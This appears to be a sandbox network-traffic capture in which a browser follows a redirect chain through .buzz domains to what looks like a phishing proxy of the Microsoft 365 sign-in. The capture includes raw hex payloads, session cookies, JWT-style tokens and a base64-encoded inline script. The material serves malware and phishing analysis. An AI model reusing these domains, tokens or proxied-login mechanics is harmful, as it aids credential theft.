2025-01-14 14:56:03 UTC	684	IN	Data Raw: 88 c4 a6 0b 39 aa c8 74 b4 08 da a6 19 c7 8e d9 6d ba 41 20 a5 27 0d 24 22 76 69 e4 c9 94 38 3a 32 4d 97 47 ca 0b 02 29 bd f0 be 9d 66 1f 1f 0c 22 4c e6 e6 12 3c 0a c7 1a 12 fd fa 20 1a df ac 1d 33 52 68 9a 96 88 a8 1b 73 59 73 03 57 86 5c d7 3d ee d7 7c 6e 99 73 da b4 c3 d8 b5 08 86 9c 9a 48 08 22 31 a8 63 3a 3a 32 cd 76 20 3a 79 be a1 27 65 10 b8 ba 81 84 a2 45 c3 d8 b3 92 c4 89 4c 27 56 86 61 7a 2d 9a 16 97 4d 27 8e ef dc 69 f6 31 cb 5a 6d 28 ce 55 e3 c8 bb 63 52 03 9a f0 82 45 0d b8 0a 2e 00 84 05 13 2f 21 35 53 8a 2c 6d 20 29 b8 1c 4d 52 9b ea a4 bf d4 2f ab 2c 4f b7 1a c3 a5 e1 b6 f7 06 ba 14 03 e6 1b 79 d8 33 9b 52 38 8e 14 cd 9b 38 75 c8 f2 fc 31 f8 1b e8 38 42 fa 4e 1e f7 10 8c 3b 14 f5 6c df 3e 03 14 32 6a dd 97 1c f3 a3 89 cf 79 8a 52 86 a1 94 Data Ascii: 9tmA '$"vi8:2MG)f"L< 3RhsYsW\=\|nsH"1c::2v :y'eEL'Vaz-M'i1Zm(UcRE./!5S,m )MR/,Oy3R88u18BN;l>2jyR
2025-01-14 14:56:03 UTC	16384	IN	Data Raw: 16 a6 f8 e8 00 4e 26 84 dc fe ec 30 38 9b 28 be e7 11 04 8b f3 f3 a7 4e 0b 79 8a 05 31 bf 0f 75 99 75 35 ab 45 e2 fc ea b3 f0 5b 01 d7 e6 62 41 b0 c9 6a 91 d8 68 a0 69 89 76 c2 6a 91 d8 a3 82 f3 d3 b9 d6 a4 11 04 48 f2 fe 87 34 21 fa a1 1e a2 f7 1c 4d 88 7e 8e 87 e8 bd 5e 13 a2 5f df 7e c1 3b 1e 76 ca 33 0c 8a 53 b8 dd 30 30 fb a1 0a 7c 29 b0 77 7d 9e 76 ea 86 e1 54 a7 4e 2d 76 1d 72 df 48 b0 da ed cc b2 dd 27 c7 9c d5 7e fd 9e c5 03 f1 92 5d 7b 92 46 84 6c 46 dc ad 8d 36 98 b3 12 09 56 4b 3c c3 a0 dd fa 4a 7e ca 11 82 c6 71 93 b1 a6 57 bb be e7 bd 9e 6e 52 c1 39 c6 b0 df 18 a7 b0 09 f7 02 08 33 6a 27 38 ad ed 94 6d 20 cd ab 32 d1 0a 7d 03 38 03 a5 55 e2 21 45 79 f5 d2 63 f7 0e 1e 04 a1 d5 7e f5 fe fa f3 50 71 9f 5c 0c 15 f7 6f 27 e2 f6 64 fe de dc 73 bc Data Ascii: N&08(Ny1uu5E[bAjhivjH4!M~^_~;v3S00\|)w}vTN-vrH'~]{FlF6VK<J~qWnR93j'8m 2}8U!Eyc~Pq\o'ds
2025-01-14 14:56:03 UTC	16384	IN	Data Raw: 07 9a d5 14 1d 74 8a 16 36 b3 7b 54 f7 19 67 f6 9e 66 f2 93 c9 8d 4e 4b 9e 62 7c 05 fb 01 71 c7 2e fa 38 67 69 c5 04 04 fd 70 41 0e d9 89 7a fd d8 13 51 1d 18 1b 92 a5 b7 0a 62 b4 08 66 15 7d 59 9b 5f 85 8a 49 7f ff 17 4c 8b 6b 6c ef 3e 13 c0 7c 28 a5 aa 6e 3c d0 20 96 45 1a 0f 18 ba 4a d3 87 4c 00 f3 91 92 a8 a8 fc 54 93 58 16 09 3f 05 5f 63 1a b7 3e 15 a6 b4 f6 f0 8f 68 9e e2 aa 22 96 1e a9 de b7 87 38 6c 86 70 80 ed 3b ed a0 c3 e8 14 1a 29 c7 41 43 93 5f a7 89 5f 27 88 e9 c5 fc 3a a4 02 29 d3 50 c7 8d 08 6d 4b 75 c4 8a 22 18 74 c9 5b 4f 03 18 40 b5 4d 1b d3 81 93 71 9b 42 50 d7 bd ef fa 19 55 74 2e 3b a2 7a b6 1a 62 04 56 1f 3d d9 1b 87 15 c5 75 4b 3f 53 72 3d d9 aa 28 fa 87 9b 37 cf 5e e4 bc 6f 59 0f 7e 32 ec f7 39 b7 2c 02 5b 00 a6 c2 15 76 bf 05 4a Data Ascii: t6{TgfNKb\|q.8gipAzQbf}Y_ILkl>\|(n< EJLTX?_c>h"8lp;)AC__':)PmKu"t[O@MqBPUt.;zbV=uK?Sr=(7^oY~29,[vJ
2025-01-14 14:56:03 UTC	2048	IN	Data Raw: a1 b8 5f d3 85 02 bd d5 30 cc a9 05 60 4d 4d a3 27 e0 a0 26 cf 67 c1 6f 4b f3 0b a7 ac 52 73 e1 ab cc de f1 b1 db f7 97 c4 fe 8e cd 18 1d 29 8e a3 8c 28 fb bf 1b 08 3e 81 ec 78 da fd 91 79 23 a7 c7 30 45 ab b6 31 f2 0f 53 ab 00 4c 77 9f 5f c5 a7 48 50 4c 83 68 82 dc 29 3d 35 49 e3 c8 8b b7 d3 8e 0a 95 34 78 90 2a 01 ae 34 fa bd 78 b9 40 c3 1e 4f 4a ce 39 db 51 3a 14 49 d5 63 d9 54 42 cb e6 0c 93 f1 b9 e4 2a d2 a6 91 07 cd 8c 57 98 fd bb 65 71 1e ff 92 8f b1 ff 4b b1 c4 b9 11 bd ee ec be 73 ce 29 39 61 8b 46 74 69 8b ae 6d 4a ce 89 97 9d 73 23 39 7b 47 b8 a8 bb 1d e1 dc b2 62 ec fb 38 96 9c 3f d6 2e 42 e5 78 f7 5d fc 81 80 aa 60 1a 12 75 1b dd 4d 41 31 aa 69 45 b7 cd f5 2c 4d b3 3c 17 d0 9d 3b a6 10 2f bf 0f b6 53 f1 1b 0d 5f d7 fd 46 c3 af 38 d8 64 0a db Data Ascii: _0`MM'&goKRs)(>xy#0E1SLw_HPLh)=5I4x4x@OJ9Q:IcTBWeqKs)9aFtimJs#9{Gb8?.Bx]`uMA1iE,M<;/S_F8d
2025-01-14 14:56:03 UTC	16384	IN	Data Raw: 2a 15 eb 8e 05 80 79 f3 c4 c3 7a 58 c3 57 66 aa 3a ef cd 7e 7a c6 85 d0 ff 2c c0 7e b7 ac a9 3a 7f d2 72 89 73 e2 d3 ff 4f e1 19 67 6d a1 57 70 70 3f d9 17 7d 77 75 a1 a3 be fd a7 f3 01 ed 0e c1 eb 44 dc c3 ce 5b 3e 7d 8e bb f6 13 9c 12 79 c0 ce 3a f1 9f d6 88 84 92 f4 d5 13 ae 19 ad 4d 74 12 ed a2 3b 65 62 a1 f2 28 24 74 f0 6c 9a 22 ab 91 58 11 44 ce 71 bc 1a 8d b6 4b e4 44 3e b1 9b 7c e8 68 a4 19 f7 6b 3d 09 ba 30 56 06 27 ac 66 81 d0 b8 2a e5 07 0a e9 af 27 87 f0 e0 b8 70 0d 0f 4e cd 43 d3 71 4f 2f 77 3f f3 a4 ce fc b4 17 ac 2c 36 40 ba b9 c0 4d 67 3a 9f 3c 23 9d 38 53 7d ee 83 b1 c2 f9 76 c8 67 53 f1 76 6b 1b 34 cb 7b 33 38 50 28 1c 32 08 16 c1 03 01 bd 72 2b 9c f9 0d fd 33 06 7f 08 a8 8e 96 ff 53 fa fa 37 1b e8 df ec 9b 3a 2b cb 49 c9 77 67 ac 24 ba Data Ascii: yzXWf:~z,~:rsOgmWpp?}wuD[>}y:Mt;eb($tl"XDqKD>\|hk=0V'f'pNCqO/w?,6@Mg:<#8S}vgSvk4{38P(2r+3S7:+Iwg$
2025-01-14 14:56:03 UTC	1024	IN	Data Raw: c9 d4 62 13 77 e6 b7 16 9b 4d db 1f 8c 35 c5 71 fc 53 2f f8 9e 51 c4 0a 12 b9 c0 02 67 7a ca f7 5b ba 36 1a 98 b6 f0 34 5d 4d 1b c6 4d a3 fc e1 55 96 a0 1c dd 86 1e 43 a8 65 d9 33 f5 26 82 1e 88 ab 65 04 f9 1e 6c c7 68 69 29 63 69 4b ec 8e 4c a0 f9 ad a5 30 2d 15 97 96 92 64 69 a9 58 9a 4a a9 95 c4 46 40 4b fa 1c 26 aa 81 6c 43 f9 6f 65 ba ba b8 58 2a 95 4a 8b 8b ab 53 89 cf 72 6e 97 f3 4b f7 03 59 78 32 e9 48 5e e4 0e 02 92 d1 33 f0 02 fa 09 ea d7 cb 21 9b 17 06 e2 64 46 7f e6 c3 d9 6d 7f 4b e5 26 ce 97 ea ff 7e e8 09 a9 fe 69 e8 16 29 6b 3a b7 b6 0f 3a 96 7f d0 d5 1f a2 27 e0 59 2a 6d e8 aa e4 d2 19 0e 0a fe a5 7f 48 ee c2 97 7d c4 b6 e7 a7 6c f9 a9 b1 87 3a 7a da a5 c1 71 62 99 09 64 58 05 fd af f6 1a 00 34 6b eb 76 ec dd 2c c9 7d f8 f5 10 fb 27 3c d9 Data Ascii: bwM5qS/Qgz[64]MMUCe3&elhi)ciKL0-diXJF@K&lCoeXJSrnKYx2H^3!dFmK&~i)k::'YmH}l:zqbdX4kv,}'<
2025-01-14 14:56:03 UTC	16384	IN	Data Raw: 86 c3 1d 2a b5 a9 c5 28 72 df 70 37 f8 fb f5 cd 99 37 b8 51 b4 b8 ce f8 ce 70 58 00 59 cc 36 2f 8b a2 29 8a 77 5c 29 ee 3c 01 63 e0 f9 73 53 e6 2a de 5c 60 7d 67 71 c6 a0 13 0b c3 37 cf 55 1f 93 4c e0 18 1f 01 00 b7 19 07 8d 82 47 05 23 8f 83 4f 31 9f 76 c3 85 e9 9e a0 e8 2b 2a d7 eb aa 26 09 12 d1 af 77 bd e1 5c 4b 5e e6 5c 93 57 99 ac d8 3c 8c f4 ef f9 b9 cc db 0b ec 6a 59 28 fb b7 62 56 99 42 6b 6e 28 b2 ff a4 a5 52 b0 62 ea c6 5e 6a 2f 06 ac 8d 78 74 31 ce fa a1 39 d4 47 ef e2 b0 23 ea 3f 04 8c 49 1b b4 d8 09 89 04 2e 27 17 d1 44 e3 e1 95 54 8a 06 23 28 89 eb f4 d1 a0 bf 1e 83 72 48 c0 9b 5c 23 f0 77 81 5c f6 11 a2 c4 0b 61 f6 6f 10 00 10 95 0a e8 86 a1 1b b2 2c ca 73 cd d8 30 64 0a 80 01 63 4d 92 44 49 d3 74 41 02 4a 75 12 28 14 03 06 41 29 0b a5 8a Data Ascii: (rp77QpXY6/)w\)<csS\`}gq7ULG#O1v+*&w\K^\W<jY(bVBkn(Rb^j/xt19G#?I.'DT#(rH\#w\ao,s0dcMDItAJu(A)
2025-01-14 14:56:03 UTC	1024	IN	Data Raw: 6f ff 2a 1d 3b bc 05 a8 54 55 73 79 c7 d0 c1 c9 e8 98 2b c8 be c3 89 d0 41 73 79 99 13 d9 77 05 3b 9a 73 04 d7 97 09 97 48 63 18 e1 8e 2f 0b ee b1 e8 e4 c0 56 de 5e ed f3 15 7b fa 19 73 47 3f ac d3 5f 58 64 4b fc 67 1f f3 55 16 be d7 e2 3c 86 fa 38 8c 6e 91 b6 ff e5 43 b9 b2 d8 1d e4 10 f3 82 60 6e 6e be 59 fe 97 0e 8d f6 7f fd db 4a 63 7e 6e 2e 08 20 13 e7 0d ba 8b 95 32 f8 ff da 0d 11 fc 0b fd 11 c0 9e ce d4 d0 75 e8 a6 5e 54 81 e5 6e c8 23 a1 04 96 7c aa cd 5d 05 b5 14 23 a3 47 bd 94 64 7a f5 3c b1 10 48 54 90 d7 d6 8e d3 60 1d 52 0f 26 4a ad 5e ae 60 30 a5 3e cc 9c d1 00 9d 8b 35 c8 70 5a 01 d0 f2 17 57 13 b9 0e c0 64 ac 61 ce b1 86 65 06 7d 98 82 c1 db f1 a9 3d ce fa d7 c5 18 1f ef 5d e6 8c 99 ba a0 3f c3 94 a8 50 14 61 e2 6f 54 2c 16 22 85 3d a3 0b Data Ascii: o*;TUsy+Asyw;sHc/V^{sG?_XdKgU<8nC`nnYJc~n. 2u^Tn#\|]#Gdz<HT`R&J^`0>5pZWdae}=]?PaoT,"=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49882	100.29.141.76	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:03 UTC	375	OUT	GET /page-hit?r=1736866559995 HTTP/1.1 Host: service-api.app-sources.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:03 UTC	169	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 14:56:03 GMT Content-Type: application/json Content-Length: 23 Connection: close apigw-requestid: EYgophFtoAMENCQ=
2025-01-14 14:56:03 UTC	23	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"message":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49820	52.164.226.60	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:07 UTC	102	IN	Data Raw: 48 54 54 50 2f 31 2e 30 20 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: HTTP/1.0 408 Request Time-outCache-Control: no-cacheConnection: closeContent-Type: text/html
2025-01-14 14:56:07 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49930	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:12 UTC	736	OUT	GET /?izpogmut HTTP/1.1 Host: perspectivemeaningful.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:12 UTC	627	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=ecK0wqFiqa5h; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; path=/; samesite=none; secure; httponly location: https://interconnectednessresilient.buzz/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2ludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6LyIsImRvbWFpbiI6ImludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6Iiwia2V5IjoiZWNLMHdxRmlxYTVoIiwicXJjIjpudWxsLCJpYXQiOjE3MzY4NjY1NzIsImV4cCI6MTczNjg2NjY5Mn0.MzYmqyIjFHZ4jJcUWLpMDiBvvOzJTNGCRkunC_Vp6Uw Date: Tue, 14 Jan 2025 14:56:12 GMT Connection: close Transfer-Encoding: chunked
2025-01-14 14:56:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49936	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:12 UTC	1038	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2ludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6LyIsImRvbWFpbiI6ImludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6Iiwia2V5IjoiZWNLMHdxRmlxYTVoIiwicXJjIjpudWxsLCJpYXQiOjE3MzY4NjY1NzIsImV4cCI6MTczNjg2NjY5Mn0.MzYmqyIjFHZ4jJcUWLpMDiBvvOzJTNGCRkunC_Vp6Uw HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:12 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=ecK0wqFiqa5h; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; path=/; samesite=none; secure; httponly location: / Date: Tue, 14 Jan 2025 14:56:12 GMT Connection: close Transfer-Encoding: chunked
2025-01-14 14:56:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49940	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:13 UTC	798	OUT	GET / HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM
2025-01-14 14:56:13 UTC	2417	IN	HTTP/1.1 302 Found Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Location: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly93d3cub2ZmaWNlLmNvbS9sb2dpbiM= Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 63aabddf-7eaa-475e-83cc-1ad431698c00 x-ms-ests-server: 2.1.19870.3 - WUS3 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-CKSZD0ix6lvR8WUUsKaDbA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: fpc=AoqkoJaJvz9Eh_YXzVockgE; expires=Thu, 13-Feb-2025 14:56:13 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; domain=interconnectednessresilient.buzz; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 14 Jan 2025 14:56:13 GMT Connection: close content-length: 648 Content-Security-Policy: default-src data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:13 UTC	648	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 62 57 39 6b 61 57 5a 70 5a 57 51 6f 4b 58 74 70 5a 69 67 68 5a 47 39 6a 64 57 31 6c 62 6e 51 75 63 58 56 6c 63 6e 6c 54 5a 57 78 6c 59 33 52 76 63 69 67 69 4c 6d 35 6c 64 79 49 70 4b 58 74 32 59 58 49 67 5a 57 78 6c 62 53 41 39 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 4e 79 5a 57 46 30 5a 55 56 73 5a 57 31 6c 62 6e 51 6f 49 6d 52 70 64 69 49 70 4f 32 56 73 5a 57 30 75 59 32 78 68 63 33 4e 4d 61 58 4e 30 4c 6d 46 6b 5a 43 67 69 59 79 49 70 4f 32 52 76 59 33 56 74 5a 57 35 30 4c 6d 68 6c 59 57 51 75 59 58 42 77 5a 57 35 6b 51 32 68 70 62 47 51 6f 5a 57 78 6c 62 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2VsZW0uY2xhc3NMaXN0LmFkZCgiYyIpO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49945	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:14 UTC	1145	OUT	GET /?7bk3o0j2b=aHR0cHM6Ly93d3cub2ZmaWNlLmNvbS9sb2dpbiM= HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2025-01-14 14:56:14 UTC	3070	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWH [TRUNCATED] Set-Cookie: OH.DCAffinity=OH-eus; expires=Tue, 14 Jan 2025 22:56:14 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; expires=Wed, 14 Jan 2026 14:56:14 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; expires=Tue, 14 Jan 2025 15:11:14 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; expires=Tue, 14 Jan 2025 15:11:14 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-UA-Compatible: IE=edge,chrome=1 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 315DD79C1E704FC29A16FF1D446E6360 Ref B: BL2AA2030103031 Ref C: 2025-01-14T14:56:14Z Date: Tue, 